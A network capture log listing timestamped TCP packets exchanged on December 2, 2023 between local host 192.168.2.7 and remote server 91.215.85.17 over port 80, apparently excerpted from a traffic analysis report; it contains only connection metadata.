Dec 2, 2023 18:01:55.633907080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633917093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633924007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633933067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633944988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633949041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633965969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633971930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.633982897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.633985043 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634002924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634006023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634027004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634042978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634052038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634062052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634067059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634079933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634085894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634099007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634102106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634119987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634123087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634136915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634139061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634160042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634181023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634198904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634202003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634217024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634237051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634253025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634260893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634269953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634279013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634288073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634294987 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634313107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634314060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634331942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634349108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634365082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634385109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634392977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634402037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634419918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634422064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634432077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634439945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634448051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634460926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634469032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634478092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634485006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634496927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634501934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634516001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634520054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634537935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634541988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634555101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634557962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634574890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634577990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634598970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634614944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634623051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634632111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634640932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634650946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634656906 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634670019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.634676933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634694099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.634712934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.676604986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.683260918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864219904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864269018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864309072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864322901 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864324093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864347935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864384890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864396095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864396095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864425898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864444971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864464998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864483118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864501953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864514112 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864540100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864553928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864579916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864594936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864617109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864625931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864655018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864660978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864691973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864701033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864728928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864732027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864767075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864773035 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864804983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864810944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864841938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864850998 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864881039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864887953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864921093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864927053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864959002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.864962101 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.864999056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865005970 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865042925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865048885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865081072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865086079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865118027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865140915 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865156889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865163088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865194082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865200996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865233898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865238905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865283012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865298033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865334988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865344048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865379095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865380049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865417957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865422010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865454912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865467072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865492105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865499020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865530968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865535975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865569115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865577936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865606070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865613937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865644932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865650892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865683079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865689993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865719080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865722895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865756989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865760088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865793943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865802050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865833998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865839958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865875959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.865931034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865968943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.865978003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866007090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866010904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866048098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866050959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866086006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866091013 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866125107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866128922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866163015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866167068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866202116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866206884 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866240978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866251945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866276979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866280079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866313934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866318941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866352081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866358995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866390944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866394997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866429090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866436005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866466999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866472006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866506100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866512060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866543055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866549969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866583109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866586924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866621017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866625071 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866658926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866663933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866695881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866702080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866734028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866739988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866772890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866777897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866811991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866816044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866849899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866858959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866890907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866897106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866929054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866945028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.866969109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.866972923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867006063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867012024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867043972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867049932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867082119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867090940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867120981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867125988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867173910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867178917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867213964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867218971 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867254019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867259026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867291927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867296934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867330074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867337942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867367983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867372990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867405891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867413044 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867444992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867449045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867482901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867491007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867521048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867527962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867559910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867563963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867598057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867611885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867636919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867640972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867675066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867680073 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867712975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867717981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867750883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867755890 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867789984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867794991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867827892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867827892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867865086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867872000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867904902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867908955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867942095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867948055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.867980003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.867985964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868016958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868022919 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868055105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868058920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868092060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868097067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868129969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868143082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868166924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868184090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868206024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868208885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868242979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868248940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868280888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868288994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868318081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868323088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868355036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868391037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868427992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868431091 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868464947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868501902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868536949 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.868541002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:55.868583918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.985228062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:55.987010956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098114967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098162889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098205090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098228931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098242044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098285913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098294020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098342896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098391056 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098421097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098462105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098500967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098509073 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098539114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098587990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098680973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098717928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098757982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098764896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098798037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098843098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.098934889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.098975897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099015951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099021912 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099088907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099134922 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099149942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099191904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099234104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099236965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099271059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099322081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099379063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099419117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099464893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099490881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099529028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099565983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099571943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099642038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099680901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099685907 CET	49713	80	192.168.2.7	91.215.85.17
